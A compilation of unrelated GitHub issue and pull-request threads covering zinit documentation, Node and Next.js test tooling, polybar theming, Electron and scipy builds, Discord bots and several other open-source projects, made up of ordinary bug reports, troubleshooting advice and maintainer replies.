OK that's actually a good point, the README is not only an introduction but also a first impression. With that in mind I can see why both the "Oh My Zsh theme" as well as the "Extending Git" sections should stay. I honestly don't know enough about the module to comment on its usefulness so I'll take your word for it. I can't come up with anything to add/remove on the top of my head so I'll put it in the back of my mind for now.
The wiki also needs work (probably more than the README when I think about it) so that sounds good.

There's something wonky going on with the last flag in zpl update, the --hard flag. When I run zpl update --hard I only get the output No such (plugin or snippet) directory: --hard. How am I supposed to use it?

Never mind, I'm just dumb. Let's forget this conversation happened.

I'm thinking would be something like following possible:

not highlighting of blocks not of zsh type, i.e. \```,

and:

syntax highlighting based on specific markers in the text,
the markers would be e.g.

^ at the end of the line
~ at the end of the line
maybe even like in vim: > at the end of previous line, making the highlight span across following block until its indentation ends, i.e.:

the first ab line has > at the end, but vim conceals it – maybe this can be done too?

?

not highlighting of blocks not of zsh type, i.e. ```,

It's possible to disable highlighting by writing ``` text

syntax highlighting based on specific markers in the text,

the markers would be e.g.

^ at the end of the line
~ at the end of the line

I haven't tried it but I think it should work. Keyword is of course "should" since this is pretty much voodoo. Do you have a test code I can try it on?

maybe even like in vim: > at the end of previous line, making the highlight span across following block until its indentation ends, i.e.:

Checking for a character at the end of a previous line could be possible but I highly doubt it. Browsers have trouble identifying previous words, my guess would be that highlighting based on previous lines isn't possible.
Highlighting based on indentation should work but we probably need to check it doesn't break highlighting somewhere else since it sounds like it could be hacky.

the first ab line has > at the end, but vim conceals it – maybe this can be done too?

?

No clue honestly.
I think it'd help if I knew what you want to highlight and how you want to do it. I don't know enough about how regex/higlighting works enough to make any promises honestly. "Worst" case scenario is that I might need to spend some time to learn the javascipt/css if I can't make it work with what I know currently.

I would want to e.g. on the following page, in the block with report, to:

append ~  at the end of the ---… line to highlight it in some color, e.g. blue,
append ^ at the end of the Functions created: line to highlight it in a different color, e.g. orange.

It would be best if the modifying character could be concealed.
Thanks for information about disabling the highlighting. I'll use it in a few places, like for the report above. However this points that the special character based highlighting should be active in ```text blocks.

Not exactly what you asked for, but it sounds almost easier if you just manually highlight the sections you want with <span>. The following code produces the picture below:
<pre>
<code>~ zplg report romkatv/powerlevel10k:
Plugin report for romkatv/powerlevel10k
<span class="hljs-blue">---------------------------------------</span>
Source powerlevel10k.zsh-theme (reporting enabled)
Autoload is-at-least with options -U -z

(…)

Note: === Starting to track function: _p9k_precmd ===
Zle -N p9k-orig-zle-line-finish _zsh_highlight_widget_zle-line-finish
Note: a new widget created via zle -N: p9k-orig-zle-line-finish
Zle -N -- zle-line-finish _p9k_wrapper__p9k_zle_line_finish
Autoload vcs_info with options -U -z
Zstyle :vcs_info:* check-for-changes true

(…)

Zstyle :vcs_info:* get-revision false
Autoload add-zsh-hook with options -U -z
Zle -F 22 _gitstatus_process_response_POWERLEVEL9K
Autoload _gitstatus_cleanup_15877_0_16212
Zle -N -- zle-line-pre-redraw _p9k_wrapper__p9k_zle_line_pre_redraw
Note: a new widget created via zle -N: zle-line-pre-redraw
Zle -N -- zle-keymap-select _p9k_wrapper__p9k_zle_keymap_select
Note: === Ended tracking function: _p9k_precmd ===

<span class="hljs-orange">Functions created:</span>
+vi-git-aheadbehind                      +vi-git-remotebranch

(…)
</code></pre>

I needed to add the colors to the css file manually but that's easy to do. Just pointing out so you don't assume all colors are there automatically. It's possible to do what you said by adding a character at the end but I have no clue how to conceal it. If you this using html code like this is too annoying and don't mind the character at the end I can do it that way to. I just thought I should present all options.

Forgot to mention, I've pushed the above code to my repo so you can test it if you want to.

Thanks, I'll test it when I have time. I think that in general the solution
is ok. But is it possible to disable the general syntax highlighting for
the block of code?
czw., 29 sie 2019, 15:09 użytkownik DundarGoc<EMAIL_ADDRESS>napisał:

Forgot to mention, I've pushed the above code to my repo so you can test
it if you want to.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/zdharma/zplugin/issues/88?email_source=notifications&email_token=ABOE4CAZX3S47ESSBSTVBBTQG7DA7A5CNFSM4F7YERI2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD5ONJ7Q#issuecomment-526177534,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABOE4CG635OE5WITD3WZ5ALQG7DA7ANCNFSM4F7YERIQ
.

Tested it and it works (if I understood you correctly), you just need to change the <code> to <code class="text">. It will look like the following:

This is all obviously very hacky but a temporary bad solution is better than no solution I think. Would something like this work?

Yes, this is sufficient. It would great if another character, like = (or another HTML-trick?), would enable regular syntax-highlighting for a single line (for the zplugin report … in the above block), but in general yeah, this will work.

I've fixed the problem of highlighting of the word report in command output by changing the first letter to capital. I've commited a change to Zplugin so that the message is really like this, i.e.:
Report for … plugin

instead of:
Plugin report for …

Acceptable compromise for now but we need a better long term solution obviously. I'll play around for a bit and see if I can come up with a more robust method.

Quick heads up, life's super busy right now so progress will be slow for a while.

No problem, you've changed the way Zplugin is viewed by others already and the way I work too.

Lol, what is this? I'm gone for two months and you already have a bajillion new ice mods and you plan on changing the name :). Anyway I finally found a job and things are starting to settle down so I should be able to do some more.

Welcome back :) Congratulations on finding the job! Yes it was a busy time.
I've just pushed the current readme to the repository. I was keeping the
wiki in sync. I'm hoping for a new, more abstract name, but the users are
more towards the more classical names.

Side note: why you've removed the `zphere' proposition from the name-pool topic? It was good.

Ha, you think so? Thought I'd limit my suggestions but I'll put it again in that case.

@DundarGoc Hi, currently I'm trying to give some momentum to the new r/zinit subreddit. I thought that maybe you would want to adhibit an influence on it? I can give you mod on this community right away! It's cool, it gives very many tools, like:

post flairs that can make the post look totally different – like in the Zinit News post, where the Announcement flair makes the post have a background (however this particular feature is inactive on the Reddit mobile app),
user flairs – I thought that I'll try to create some learning environment with the Beginner, Intermediate and Expert flairs, though I'm much open for suggestions,
the banner and community icon – I've found a graphics studio and soon Zinit will have a brand new, cool logo :)
a real wiki :)

Want to join? For example, those are my current post flairs – I think that they still need some work:

What do you say? And @robobenklein, maybe?

Indeed, just joined

Cool :)

Thank you for the offer. It seems like a fun idea but I will skip since I don't think I'll have the time or energy to make any useful contributions. I'll take this opportunity to also hand in my official "resignation" from Zinit for the forseeable future as I simply don't feel I can dedicate any time on it. I don't want to say I'll never contribute to Zinit again, but definitely not anytime soon unfortunately. I hope you understand. Thank you for Zinit.

Enhanced documentation results and discussions can be viewed at the following links:

https://github.com/black7375/zinit
https://github.com/zdharma/zinit/pull/492

Anyone interested in this?
Focus for Participation

we are contemplating document structure.  https://github.com/zdharma/zinit/pull/492#discussion_r615809299


URLComponents API Support

Adding URLComponents support to some of Alamofire's APIs could result in more elegant request creation, especially in URLEncoding.

Hello, @jshier  👋🏽
I've been doing some investigation/experimentation around this issue. I've been able to use the URLComponents API, but I faced some problems related to percent encoding. For some reason, the URLQueryItem doesn't correctly encode some of the reserved characters described in RFC 3986 (they are :@!`()*+,;). There's even a description in the documentation regarding part of this limitation: https://developer.apple.com/documentation/foundation/nsurlcomponents/1407752-queryitems (the note describes it).
The unit tests helped me catching those errors and fixing them (I had to do some post percent encoding). If you think it's worth it, I can submit a PR so we can discuss about it there.


background color and transparency error of polybar

HI,
I've a problem whit the transparency of polybar, when bspwm start whit this config:
#! /bin/sh
sxhkd &
chmod a+w /sys/class/backlight/intel_backlight/brightness &
setxkbmap -layout it &
numlockx &
xsetroot -cursor_name left_ptr &
#feh --bg-fill --randomize ~/.wallpapers/* &
xautolock -time 5 -locker "gllock" &
./.config/low-battery.sh -n &
wal -i ~/.wallpapers/ &
./.config/polybar/launch.sh &
picom --experimental-backends &
bspc monitor -d I II III IV V
and the polybar relative color
[colors]
background = ${env:color0_alpha}
;background = ${xrdb:color1:#222}
foreground = ${xrdb:color7:#222}
foreground-alt = ${xrdb:color7:#222}
primary = ${xrdb:color1:#222}
secondary = ${xrdb:color3:#222}
alert = ${xrdb:color5:#222}
polybar keep the background black color and I've found this error in /tmp/polybar1.log
polybar|error: Invalid value for "bar/bar1.background", using default value (reason: Environment var ${color0_alpha} does not exist (no fallback set))
but after polybar start if I launch polybar whit this ./.config/polybar/launch.sh in a terminal the transparency and colors is working, but the updated /tmp/polybar1.log still report the same issue, even if color and transparency are correctly setted.
I don't know if this is the right place to post but for now i try here :)

solved by following this https://github.com/dylanaraps/pywal/issues/132 but instead of putting source and export command in .bashrc put them to polybar launch script

now another proble is the bspwm config if you use random wallpaper, that use the previous color set  instead of the new generated

This can be fixed by telling Pywal to delete the color cache before re-applying the color scheme. Pywal automatically caches colors for each file, and if the file name does not change, the colors will not change.
# clears the cache
wal -c
# resets colors
wal -i /path/to/random/image

I had to do this for my setup since I have a script that loads a random photo from Unsplash. I just built a small run file that will clear the cache and restart Pywal with my settings.

This can be fixed by telling Pywal to delete the color cache before re-applying the color scheme. Pywal automatically caches colors for each file, and if the file name does not change, the colors will not change.
# clears the cache
wal -c
# resets colors
wal -i /path/to/random/image

I had to do this for my setup since I have a script that loads a random photo from Unsplash. I just built a small run file that will clear the cache and restart Pywal with my settings.

thank you!

thank you!


Resizing?

Is there a way to resize photos to be smaller? I'm uploading them with https://github.com/kamilkp/react-native-file-transfer

Should be possible via ImageEditingManager. https://github.com/facebook/react-native/blob/master/Examples/UIExplorer/ImageEditingExample.js

Thanks a lot!
On Wed, Nov 25, 2015 at 21:18 Loch Wansbrough<EMAIL_ADDRESS>wrote:

Closed #128
https://github.com/lwansbrough/react-native-camera/issues/128.
—
Reply to this email directly or view it on GitHub
https://github.com/lwansbrough/react-native-camera/issues/128#event-475152211
.

@lwansbrough I just made this: https://github.com/CodeFoundation/rn-resize might be good to add to the readme. Sure many people want to do this.


Next.js server start hangs

I created a new next.js project and added start-server-and-test but no matter what I do, the test run doesn't start. This is my output:
start-server-and-test http-get://localhost:3000 cypress.run

1: starting server using command "npm run start"
and when url "[ 'http-get://localhost:3000' ]" is responding with HTTP status code NaN
running tests using command "npm run cypress.run"

><EMAIL_ADDRESS>start
> next start

ready - started server on <IP_ADDRESS>:3000, url: http://localhost:3000

I ran the curl command to check if a Head request returns 200 and it does.
curl --head http://localhost:3000/
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "dz0spzxup038i"
Content-Type: text/html; charset=utf-8
Content-Length: 4199
Vary: Accept-Encoding
Date: Tue, 03 Jan 2023 08:12:49 GMT
Connection: keep-alive
Keep-Alive: timeout=5

My guess is the part the says is responding with HTTP status code NaN is the problem.
What am I missing here?
Thanks.

I am seeing this problem as well. I'm using http-server for hosting my test site in this case.

In case can be of use for someone, I had the exactly same problem (in local) that what @eyaleizenberg was reporting.
I downgrade from Node v18.13.0 to v16.19.0 and it works well again. Something there is not quite right.

Faced this issue as well. I was launching my tests with command
start-server-and-test 'npx http-server ./storybook-build -s -c-1 -p 8080' http://localhost:8080 'jest --config ./jest.e2e.config.js'
and my test haven't started. For me issue was resolved when I changed localhost to <IP_ADDRESS>:
start-server-and-test 'npx http-server ./storybook-build -s -c-1 -p 8080' http://<IP_ADDRESS>:8080 'jest --config ./jest.e2e.config.js'
However, when I tried to connect to my storybook app on http://localhost:8080 during the first run, everything was fine, site was available by domain name.
My node version is 18.12.0, start-server-and-test version is 1.15.2

A workaround that worked for me is to using the local IP address instead localhost on the starting script:
"ci": "start-server-and-test build-and-serve http://<IP_ADDRESS>:5000 cy:open"
See:
https://github.com/bahmutov/start-server-and-test/issues/333#issuecomment-1246163291
https://github.com/jeffbski/wait-on/issues/109#issue-1071849300

I submitted https://github.com/bahmutov/start-server-and-test/issues/349 as a separate issue

I had the same problem in a Meteor.js app. I fixed it by adding --expect 200 and passing explicitly the port that is used by Cypress UI to the server. The --expect param replaces NaN with 200, but without passing the port number the Cypress UI doesn't start at all.
Here is part of my package.json:
"start:e2e": "set METEOR_LOCAL_DIR=.meteor/test && meteor --port 4000",
"test:e2e": "start-test --expect 200 start:e2e :4000 cypress:ui"

Can someone please provide a small repo with a reproducible example?

@mihailgaberov

The --expect param replaces NaN with 200,

This issue is solved in v1.15.4.

I expect this is the same root cause as https://github.com/cypress-io/github-action/issues/802 if the issue generally happens on GitHub running the default version of Node.js (currently 18.14.1). Judging by the other issue, running locally on any Node.js version there is no problem. On GitHub running Node.js 16 and earlier there is also no problem.

Next.js uses react and the react server only listens on the IPv4 address <IP_ADDRESS> however due to changes in Node.js >= 17 the dns lookup returns the IPv6 address ::1 on GitHub, so the wait-on test is trying on  ::1 and react is waiting on <IP_ADDRESS>. The two never meet up.

I suggest to open a separate issues for each other server that has been mentioned here, that is ones which are not Next.js, otherwise troubleshooting in this issue is going to get quite confusing!
@eyaleizenberg Are you still having an issue with Next.js?

Can someone provide a repo with an example that shows the problem? Or debug logs? Anything?

@bahmutov

Can someone provide a repo with an example that shows the problem? Or debug logs? Anything?

See issue #356 which provides everything you asked for using an out-of-the-box react app (npm create-react react-app-test) with start-server-and-test and Cypress added.


Banned member notifications

Checklist

[X] I'm reporting a problem with Dink
[X] I've searched the issues and pull requests for similar looking reports

Describe your issue
In the event that a member is banned from our group and has dink set up how do I make it to where their  Dink notifications will not show in our discord?
Screenshots
No response
Runelite Logs
na
Runelite Version
1.10.28

You need to invalidate your discord webhook. Discord has an option to regenerate the webhook pretty sure. You will need to give all non-banned members the new webhook.

As Mm2PL said regeneration is really your only reactive way, Discord's webhook system is not really made for a world where users with the URL are suddenly not allowed to have it.


Upgrade Electron dependancy

Before submitting, please confirm you've

[x] read and understood our Contributing Guidelines
[x] completed Mattermost Contributor Agreement
[x] executed npm run lint:js for proper code formatting

Please provide the following information:
Summary
Upgrade Electron for security fix of HTTPS.
https://github.com/electron/electron/releases/tag/v1.6.11
This should include #543 to upgrade Electron from 1.6.2 to 1.6.11.

Desktop notification for Windows 7/8
Per-monior DPI awareness

Issue link
#543
Test Cases
Notification:

Prepare Windows 7, 8 or 8.1
Receive any message.
Notification should appear instead of a tray balloon.
Click the notification.
The message should appear in the main window as well as Windows 10.

Per-monitor DPI:

Not necessary because already tested at #543.

Additional Notes
https://circleci.com/gh/yuya-oc/desktop/332#artifacts

Thanks @yuya-oc! It looks okay so far. Propose we merge this PR and cut RC1 for v3.7.1

Thanks!


Launcher does not start on linux

Version v1.3.1.x64
OS: Fedora 32
Window Manager: Sway (Wayland)
./launcher

output
[FORMS.PP] ExceptionOccurred
  Sender=EAccessViolation
  Exception=Access violation
  Stack trace:
  $00000000004D4EB3
  $00000000004BAF29
  $00000000005BDB36
  $00000000005BD51F
  $00000000005B9B93
  $0000000000517475
  $000000000051738B
  $000000000042D0AD
  $000000000042C403
[FORMS.PP] ExceptionOccurred

Exit code: 0

Hi, can you check if you have the library qt5pas installed?

Yes: qt5pas-2.6-2000804.fc32.x86_64

Unfortunately my only Linux installation at the moment is Ubuntu (the one used for the pre-compiled binaries) and I currently don't have time to work on it, and won't have time for at least 2 more months.
It might be faster for you to try and compile it from source using Lazarus IDE (and Free Pascal Compiler) as that is probably all it needs to work (just open the lazarus project and hit compile, nothing else needed).

Okay thanks :)
Other question, does notparadoxlauncher "simply" is and ui + settings and then forks the game with the defined arguments, or is there more to it?

Yup. It simply starts the game with the parameters set up in the options.
The launcher (and boostrapper) was designed to replicate the actions that Paradox Launcher does.
When Steam starts the game, it starts it with the dowser(.exe) binary. That binary then looks for the launcherpath file created by Paradox Launcher (and taken over by NPL) to see where the launcher is installed, then calls the boostrapper_v2(.exe) binary in the specified location. Bootstrapper then starts the actual launcher (official bootstrapper would do a launcher update, then start the latest version). The launcher in the end starts the actual game.
You can see the actual code in the launcher is simply starting a new process for the game with the specified configuration

Nice, thanks for the detailed description!


Check Plc Connection Status

When I Connect to Opc Server, I get Client.Status is Connected But How I  Check connection quality between Opc Server And Lg Plc In C# Code after Connect to Opc Server. I use below sample code:
public static DaClient client = new DaClient(new Uri("opcda://localhost/LGIS.LGEOPC"));
...
 client.Connect();
...
 if (PLCCommon.client.Status == OpcStatus.Connected)
  {
      // Connect To Opc Server is Ok.
  }
...
 if (OpcQualityConnectToPlc==Good)
 {
      // Connect To Lg PLc is Ok.
 }

Do you help me a sent to me file install LGIS OPC SERVER?


multi cooker card?

hi!
looks like most active card development here =)
can you add Multi cooker card?
any
For example my Ready For Sky RMC-m223s
Options:

operation
delay
timer
sound
temperature
led
etc.

most integrations dont provide any cards for this
thank you

UP =)


Major refactor and dependency updates

This issue is here mainly so I don't forget, and because this repo looks very quiet right now (because this issue is super time consuming)!
I'm currently in the process of updating all of our frontend dependencies to their latest major release versions. The major things are:

Quasar v1 to v2 (moderate work here)
Webpack v4 to v5
Vue v2 to Vue v3 (significant work here, including moving a lot more stuff to TypeScript)
Vue Router to v4
Vuex to v4
Vue-i18n to v9

Once this is finished, I will have time to review the outstanding PRs like #158 and #160 and start work on features again.

I've just pushed this commit to a new branch; it contains changes in over 58 files! This branch has now had all frontend deps updated to their latest major versions. I should have broken the changes up, but they're all extremely interdependent so I think it made sense to include them all in the same commit.
There are still quite a few bugs (mainly minor display/functionality bugs) so it's not ready yet. However, the dev build works and things load/run. Once these bugs have been fixed, I can start the extensive testing process and open a PR to main.
https://github.com/membermatters/MemberMatters/commit/43c9ca967a83a0c4498d428f5cfcb6d15c524c77

I'm getting pretty close to a release candidate now! There's still a few bugs left, mainly to do with how vuex has changed their API. I'm hoping to get a release candidate build up and running for testing on my staging server over the weekend.

This has been completed! :D I'll be releasing a new version shortly.


npm install from integrated terminal makes the file watcher go insane

It seems that the terminal is trying to parse file paths as they appear on the console, but it almost make the editor crash, it freezes for some  seconds.

Version: 1.33.0-insider (user setup)
Commit: c1d001a915fe85cac93492393ea69fdb0c49ec0d
Date: 2019-03-13T06:18:20.237Z
Electron: 3.1.6
Chrome: 66.0.3359.181
Node.js: 10.2.0
V8: 6.6.346.32
OS: Windows_NT x64 10.0.17763

Steps to Reproduce:

Open integrated terminal in a JS / TS project root, having a package.json
Do npm i

[2019-03-13 10:22:41.894] [renderer1] [error] A system error occurred (ENOENT: no such file or directory, stat 'g:\www\project\node_modules\.stagi'): Error: ENOENT: no such file or directory, stat 'g:\www\project\node_modules\.stagi'
[2019-03-13 10:23:38.684] [renderer1] [error] A system error occurred (ENOENT: no such file or directory, stat 'g:\www\project\front\node_modules\.sta'): Error: ENOENT: no such file or directory, stat 'g:\www\project\front\node_modules\.sta'
[2019-03-13 10:23:44.814] [renderer1] [error] A system error occurred (ENOENT: no such file or directory, stat 'g:\www\project\@ant-design\icons-react@1.1.2'): Error: ENOENT: no such file or directory, stat 'g:\www\project\<EMAIL_ADDRESS>[2019-03-13 10:23:44.814] [renderer1] [error] A system error occurred (ENOENT: no such file or directory, stat 'g:\www\project\@ant-design\icons@~1.1.0'): Error: ENOENT: no such file or directory, stat 'g:\www\project\<EMAIL_ADDRESS>[2019-03-13 10:23:44.814] [renderer1] [error] A system error occurred (ENOENT: no such file or directory, stat 'g:\www\project\node_modules\fsevents'): Error: ENOENT: no such file or directory, stat 'g:\www\project\node_modules\fsevents'
[2019-03-13 10:23:48.769] [renderer1] [error] A system error occurred (ENOENT: no such file or directory, stat 'g:\www\project\node_modules\fsevents'): Error: ENOENT: no such file or directory, stat 'g:\www\project\node_modules\fsevents'
[2019-03-13 10:23:50.792] [renderer1] [error] A system error occurred (ENOENT: no such file or directory, stat 'g:\www\project\node_modules\fsevents'): Error: ENOENT: no such file or directory, stat 'g:\www\project\node_modules\fsevents'

There were more errors like those, and they keep repeating. Worth noting that the paths are also wrong g:\www\project\@ant-design should be g:\www\project\front\node_modules\@ant-design

Does this issue occur when all extensions are disabled?: Yes

I can't seem to reproduce. The links in the terminal were designed in a very performance conscious way though, there will only be a disk check after the terminal has not changed for 200ms and only for the output in the viewport, not the whole buffer. So at most there would only be FS stat operations for the a handful of paths at most every 200ms, so I'm not sure how this could happen as a result of the link logic. Are you sure the slow down isn't npm i itself? Installing dependencies for VS Code (with yarn) causes my system to go crazy.

couldn't repro on newer versions as well, and no, npm has "no progress" setting, that's why I thought it was vscode terminal at fault, since it didn't happen when executing it in a cmd.exe prompt

If you can't repro anymore maybe it was a bug that's already fixed 🤷♂


fix: add apparmor-utils to install prereqs

Adds apparmor-utils as a prereq dependency
Solves issues for some Debian users on version 23.0

apparmor_parser comes from package apparmor, not apparmor-utils (see here). This package is included by default in bullseye cloud images (see here). Thus, users have to intentionally uninstall it to face the reported bug. So I second what @neersighted said: the issue is in moby/moby or containerd, not in the install script.

I opened https://github.com/docker/docker-install/pull/335 to remove the --no-install-recommends flag instead.


Update DG

@adeearyaa to focus on: target user profile, value proposition, and user stories.
@rylzxc to focus on use cases
@jacobkwan to focus on NFRs & glossary

Well done everyone!


refactor(types)!: create newtype for gas

Creates newtype for gas (part of https://github.com/near/near-sdk-rs/issues/387)
Implements string serialization for this newtype

I'm assuming this is what we want, to move away from needing the json_types wrapper, but this could cause unexpected bugs if people migrating don't notice this has changed from the u64 alias default of serializing as integer

I'm not convinced this should come in the next release, but let me know your thoughts!

I'm not convinced this should come in the next release, but let me know your thoughts!

it doesn't seem to break anything, besides requiring developers to use a Gas type instead of u64 directly, but I might be missing something here

Also, anyone have thoughts about adding a tera gas helper? Can always come after the major release, and seems like there is no clear best API, but just seeing if anyone has opinions.

it doesn't seem to break anything, besides requiring developers to use a Gas type instead of u64 directly, but I might be missing something here

I mean to break in the context of a breaking change, since the Gas type was u64 before and is now the wrapper type, so there are definitely cases (even in our own codebase) where this is breaking. It's definitely a small update if using specifically, but I'm just being cautious since this release already has a bunch of changes.

Also, does anyone have thoughts about adding a tera gas helper?

impl Gas {
    const TERA_GAS = Gas(1_000_000_000_000);
}
let amount = 42 * Gas::TERA_GAS;

Also, does anyone have thoughts about adding a tera gas helper?

impl Gas {
    const TERA_GAS = Gas(1_000_000_000_000);
}
let amount = 42 * Gas::TERA_GAS;

I don't have an opinion, either this or some constructor function I'd be okay with adding, or we can wait to do in another PR so we can have specific buy-in for what's needed. cc @mikedotexe maybe you have an idea of the importance of having this or if there would be any other helper that would be useful?


Tupperbox recently stopped using external emojis

Up until around the 13th of this month, Tupperbox had been able to use external emojis in servers where external emojis were enabled so long as users had nitro. This is no longer the case it seems and I was wondering if this was a bug. Please fix it! I really enjoy using external emojis for goofy moments in roleplay. Tupperbox can still use animated emojis in servers if you have nitro so I don’t believe this was on purpose.

This isn't a bug on Tupper's side, it's a permissions issue in your server(s). Make sure your server's @/everyone role has the ability to use external emoji in the channels you want to use external emoji in. There's also an FAQ entry in the support server for this if you're in there

This isn't a bug on Tupper's side, it's a permissions issue in your server(s). Make sure your server's @/everyone role has the ability to use external emoji in the channels you want to use external emoji in. There's also an FAQ entry in the support server for this if you're in there

It's not an isolated incident though. Every server I'm in has external emoji's enabled. I can use the external emoji's but Tupperbox cannot, but before the 13th of February, Tupperbox was also able to use external emoji's in any server where it was enabled. I've tested this in my own private server and in multiple other servers. For example;

Can you take a screenshot of BOTH the permissions for the general @/everyone role and its permissions in those channels? They should look like this:

Sure.
Tupperbox has it.

@/everyone in roles has it.

Ah, I see the issue now. It seemed to be the permissions for @/everyone in the channel specifically that caused it. But that's odd, because it still wasn't working in another server I'm in.
I suppose that's problem solved, though! That might just be them, and I'll make sure they've got it all enabled in case. Thanks a lot!

Glad to help :)


Security is bad

Because you are saving whole user information (except password but it doesn't matter) in localStorage you can easily change the role inside the token to Admin and then use the app with admin privileges, and localStorage has to contain Role and Token from user object at all times if you want to keep the user logged in and able to refresh the page.

Yes, this is true. after page refresh how we keep logged user. because in this example after page refresh user details getting reset and again need to login to the application.


resize mask issue

Hello,really appreciate your work! But when i connect [padding image for outpainting]'s mask to the [mask] socket in this node. It just report error. I wonder if i am doing something wrong
Input and output must have the same number of spatial dimensions, but got input with spatial dimensions of [1542] and output size of (896, 1542). Please provide input tensor in (N, C, d1, d2, ...,dK) format and output size in (o1, o2, ...,oK) format.

The title “LCM Inpaint-Outpaint” is suspicious. It refers to https://github.com/taabata/LCM_Inpaint_Outpaint_Comfy/ which has a different component named Image Resize. Maybe there is a conflict here?

This might not have been entirely obvious, but this is waiting on your feedback. Does this issue still occur if you disable LCM_Inpaint_Outpaint_Comfy?

The title “LCM Inpaint-Outpaint” is suspicious. It refers to https://github.com/taabata/LCM_Inpaint_Outpaint_Comfy/ which has a different component named Image Resize. Maybe there is a conflict here?

Yes, there is a conflict here. Disable LCM_Inpaint_Outpaint_Comfy will solve the error. Thank you very much!


Make compiler.php check that languageStyle is set

This avoids a benign warning when languageStyle is not provided in the query string to
compiler.php. Behaviour should otherwise be unchanged.
Closes #1087
Testing
I've tested it manually - the warning is gone now.

I have had the same issue on macOS Sierra version 10.12.6 with php version 7.1.8. This patch fixes the issue on my platform.

@TimLethbridge this PR needs your attention.

This looks good. I will merge.


Road Name Components should be non-editable on a modify

The road name components should be non-editable through the UI on a modify. This is because the value in the rcl_id will be used by the API and any changes entered into the road name component fields will be ignored. It is misleading to allow them to be edited.
This was discussed earlier in development but not documented at that time.

Also, Water Route name should be non-editable on a modify and a modify during QA.
All road name components should be non-editable for a modify during QA.

Please retest in 0.8.11

Please retest in 0.8.11

passed


zson writer needs formatter

We need to refactor the zson writer to use an encoder/formatter.  Comment from zio/zngio/writer.go:
// XXX this needs a refactor.  The type formatter needs to be be able to format
// a value for enum but the Writer type presume values are "written" not "formatter".
// This hack works with a bytes.Buffer works around this.  Also, when we are writing
// enum values inside of a type, we don't want the pretty printing so the refactor
// will allow you to specify indent on a per-format basis.

We also need to move the writer to package zson to the zson.Unmarshaler can use it without reaching into the Writer and creating an import cycles.


aom.idl not updated (deleted) when IDL was removed from spec

In https://github.com/web-platform-tests/wpt/pull/9759#issuecomment-405445178 @alice pointed out that https://wicg.github.io/aom/spec/ no longer has any IDL. This happened in https://github.com/WICG/aom/commit/4a21b8512146db611e8b8fa24d2b88b185b7095b#diff-f2d8594ce0e9581fcd475b98f2fe2a82, over a month ago.
The aom.idl files should be deleted, and it would be good with some process to do this automatically, or flag that human attention is required.

Right. I had noticed the switch from one spec to multiple sub-specs some time ago, but had not realized that the IDL content had changed as a result. I was planning to address this case one way or the other, just didn't manage to find the time.
The addition/removal of IDL files to and from the repo is manual and that's something we somewhat wanted to keep this way for now, see #12. Presented differently, we don't yet have good failure detection mechanisms in place in Reffy, so if we automate addition/removal, there's a good chance that once every few days, a random IDL file will get deleted from the report because of some transient network or other error (e.g. a ReSpec update that makes ReSpec generation crash in Reffy) that prevented the generation of the IDL file. The IDL file would be added back the day after, but it seems better to keep the known version.
I dropped the aom.idl file from the report. I'll drop the spec from Reffy's crawl as well:

parsing the main index spec does not make any sense
The IDL content in the aria-reflection spec is actually an informative copy of the content defined in WAI-ARIA 1.2, and Reffy will be confused, thinking the IDL content is normative.

I'll add WAI-ARIA 1.2 to the list of specs to crawl instead, which should eventually generate a wai-aria.idl file.

Thanks for the explanation and manual fix, @tidoust!

Presented differently, we don't yet have good failure detection mechanisms in place in Reffy, so if we automate addition/removal, there's a good chance that once every few days, a random IDL file will get deleted from the report because of some transient network or other error (e.g. a ReSpec update that makes ReSpec generation crash in Reffy) that prevented the generation of the IDL file. The IDL file would be added back the day after, but it seems better to keep the known version.

This is reminiscent of issues with ReSpec that @mdittmer had with https://github.com/mdittmer/web-apis. After http://lists.w3.org/Archives/Public/public-script-coord/2015JulSep/0074.html and a bunch of efforts by ReSpec maintainers, I think there are now no uses of the old style IDL left, and it's possible to extract IDL from the raw response without using PhantomJS or simliar. (I don't know what reffy-reports does.)

it's possible to extract IDL from the raw response without using PhantomJS or simliar. (I don't know what reffy-reports does.)

IDL is just one of the things that Reffy extracts from specs. It also extracts the list of normative and informative references, which ReSpec generates on-the-fly, and long-term goal would also be to extract term definitions and basically anything that could perhaps be interesting info to analyse from a cross-spec perspective. Generation is also useful in the couple of cases where raw specs use ReSpec's Markdown mode. We also wanted to stay close to analyzing what readers see, in case the generation would create artefacts.
Anyway, we don't need to run all ReSpec modules and could restrict ReSpec generation to the ones we need instead of running a full generation. As a matter of fact, we had to hack a number of things to make ReSpec run under JSDOM, disabling a couple of modules that cannot run as-is among other things, and the resulting code is ugly, so there's definitely room for improvement.


Extension Authoring: Goto Implementation, New Item:class, interface

In VS Code 1.3 it looks like it's possible to add custom menu items to context menu and etc. What about add GotoImplementation possibility? And also I would like to see in project file's context menu option to add class, interface with automatically generated right namespace. PLEASE

VS Code now supports Go To Implementation as a feature. We'll be tracking the work to add this with https://github.com/OmniSharp/omnisharp-vscode/issues/37.


BUG: mesonpy embeds random path in .pyx files

Describe your issue.
While working on reproducible builds for openSUSE, I found that
our python-scipy 1.11.1 package varies between builds. One of the reasons is that a random mesonpy path gets embedded in cython_special.pyx, _ufuncs_cxx.pyx and _ufuncs.pyx
Reproducing Code Example
build it twice

Error message
+++ /usr/lib64/python3.9/site-packages/scipy/special/cython_special.pyx     2023-07-27 00:00:00.000000000 +0000
@@ -1088,50 +1088,50 @@
 from ._agm cimport agm as _func_agm
 ctypedef double _proto_agm_t(double, double) noexcept nogil
 cdef _proto_agm_t *_proto_agm_t_var = &_func_agm
-cdef extern from r"/home/abuild/rpmbuild/BUILD/scipy-1.11.1/.mesonpy-nb_0k4ap/build/scipy/special/_ufuncs_defs.h":
+cdef extern from r"/home/abuild/rpmbuild/BUILD/scipy-1.11.1/.mesonpy-il1v1fcx/build/scipy/special/_ufuncs_defs.h":
     cdef npy_int _func_airy_wrap "airy_wrap"(npy_double, npy_double *, npy_double *, npy_double *, npy_double *)nogil
-cdef extern from r"/home/abuild/rpmbuild/BUILD/scipy-1.11.1/.mesonpy-nb_0k4ap/build/scipy/special/_ufuncs_defs.h":
+cdef extern from r"/home/abuild/rpmbuild/BUILD/scipy-1.11.1/.mesonpy-il1v1fcx/build/scipy/special/_ufuncs_defs.h":

SciPy/NumPy/Python version and system information
1.11.1 1.25.2 3.11.4

